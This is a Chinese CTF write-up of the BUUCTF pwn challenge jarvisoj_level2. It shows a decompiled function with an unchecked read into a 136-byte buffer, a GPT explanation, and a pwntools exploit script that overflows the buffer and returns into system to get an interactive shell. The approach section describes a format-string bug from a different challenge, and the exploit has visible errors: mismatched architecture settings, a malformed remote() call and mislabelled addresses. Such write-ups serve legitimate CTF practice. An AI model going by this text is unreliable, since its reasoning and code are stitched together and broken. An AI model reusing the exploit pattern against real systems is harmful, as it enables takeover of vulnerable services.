BUUCTF jarvisoj_level2

BUUCTF jarvisoj_level2

飞书链接:https://li2h5rwaaaa.feishu.cn/wiki/Jqyaw6kI5i8I5xkHd72c3Nk9nfe 密码:WwR]4r|7

自动化脚本项目地址:https://github.com/Cha111Ng1/ghidra_scripts_cha11

微信公众号:攻有道

题目地址:https://buuoj.cn/challenges#jarvisoj_level2

题目名称:jarvisoj_level2

保护信息

关键函数

void vulnerable_function(void)

{
  undefined local_8c [136];
  
  system("echo Input:");
  read(0,local_8c,0x100);
  return;
}

GPT说:

这段代码是一个C语言函数 vulnerable_function,它包含了一些安全问题,因此可以被认为是一个有漏洞的函数。让我逐行解释这段代码:

  1. undefined local_8c [136];:这一行定义了一个名为 local_8c 的局部数组,它包含了136个未初始化的字节。这个数组是用来存储输入数据的,但没有进行初始化,这可能导致在使用数据之前出现不确定的行为。

  2. system("echo Input:");:这一行调用了 system 函数,它用于执行 shell 命令。在这里,它执行了一个简单的 shell 命令 "echo Input:",这会在屏幕上显示 "Input:" 字符串。虽然这个命令本身看起来无害,但是在实际应用中,执行未经验证的 shell 命令可能会导致安全漏洞。

  3. read(0, local_8c, 0x100);:这一行使用 read 函数从标准输入(文件描述符 0)读取数据,并将数据存储在 local_8c 数组中。0x100 指定了要读取的最大字节数。这行代码是潜在的安全问题来源,因为它没有检查输入的大小,可能会导致缓冲区溢出漏洞。如果用户输入的数据超出了数组的大小,就会覆盖内存中的其他数据,这可能导致不可预测的错误或者潜在的攻击。

总之,这段代码的主要问题在于它没有进行充分的输入验证和保护,因此容易受到输入数据的恶意滥用,可能会导致安全漏洞。在实际应用中,需要谨慎处理用户输入数据,避免潜在的安全风险。

思路:

可以看出利用的是格式化字符串的漏洞,需要我们修改var地址往下数第十四个,类似是数组的结构到var[13]为17,并且为LL就是long long int八个字节,,相当于64位的数据'\x11\x00\x00\x00\x00\x00\x00\x00'。

exp

# 栈溢出模版
# ++++++++++++++++++++++++++++++++++++++++++
# +  微信公众号:攻有道       By:Cha111Ng1    +
# ++++++++++++++++++++++++++++++++++++++++++
from pwn import *

context(os='linux', arch="amd64", log_level="debug")
content = 0

# 计算出的填充字符
payload = b"a"*(0x88+0x04) + p32(0x0804849E)
# 想要其返回的函数地址
system_addr = 0x0804a024

def main():
    if content  == 1:
        # 本地文件方式
        cha11 = process("1")
    else:
        # 远程连接方式
        cha11 = remote('node4.buuoj.cn''28922')
    # 跳到恶意位置
    exp = payload + p32(system_addr)
    # 发送恶意载荷
    cha11.sendline(exp)
    # 获得一个交互shell
    cha11.interactive()

main()

成果:


拓展资料

https://blog.youkuaiyun.com/XDiku/article/details/128746843

【Buu CTF PWN ciscn_2019_n_8 WriteUp】 https://www.bilibili.com/video/BV16L41127cR/?share_source=copy_web&vd_source=cccc7bdde4dee6a54d0feb196cf11a5f

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值